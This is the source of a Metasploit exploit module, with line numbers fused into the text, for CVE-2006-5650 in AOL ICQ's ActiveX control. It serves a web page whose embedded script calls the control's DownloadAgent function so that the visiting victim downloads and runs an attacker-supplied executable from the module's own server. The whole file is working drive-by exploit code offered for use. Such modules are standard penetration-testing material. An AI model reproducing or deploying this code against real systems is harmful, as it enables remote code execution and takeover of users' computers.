Path: blob/master/modules/exploits/windows/browser/aol_icq_downloadagent.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'America Online ICQ ActiveX Control Arbitrary File Download and Execute',16'Description' => %q{17This module allows remote attackers to download and execute arbitrary files18on a users system via the DownloadAgent function of the ICQPhone.SipxPhoneManager ActiveX control.19},20'License' => MSF_LICENSE,21'Author' => [ 'MC' ],22'References' => [23[ 'CVE', '2006-5650' ],24[ 'OSVDB', '30220' ],25[ 'BID', '20930' ],26[ 'ZDI', '06-037' ],27],28'Payload' => {29'Space' => 2048,30'StackAdjustment' => -3500,31},32'Platform' => 'win',33'Targets' => [34[ 'Automatic', {} ],35],36'DisclosureDate' => '2006-11-06',37'DefaultTarget' => 0,38'Notes' => {39'Reliability' => UNKNOWN_RELIABILITY,40'Stability' => UNKNOWN_STABILITY,41'SideEffects' => UNKNOWN_SIDE_EFFECTS42}43)44)4546register_options(47[48OptString.new('URIPATH', [ true, "The URI to use.", "/" ])49]50)51end5253def autofilter54false55end5657def check_dependencies58use_zlib59end6061def on_request_uri(cli, request)62payload_url = "http://"63payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']64payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/PAYLOAD"6566if (request.uri.match(/PAYLOAD/))67return if ((p = regenerate_payload(cli)) == nil)6869data = generate_payload_exe({ :code => p.encoded })70print_status("Sending EXE payload")71send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })72return73end7475vname = rand_text_alpha(rand(100) + 1)76exe = rand_text_alpha_upper(rand(5) + 1)7778content = %Q|79<html>80<head>81<script>82try {83var #{vname} = new ActiveXObject('ICQPhone.SipxPhoneManager.1');84#{vname}.DownloadAgent("#{payload_url}/#{exe}.exe");85} catch( e ) { window.location = 'about:blank' ; }86</script>87</head>88</html>89|9091print_status("Sending exploit...")9293send_response_html(cli, content)9495handler(cli)96end97end9899100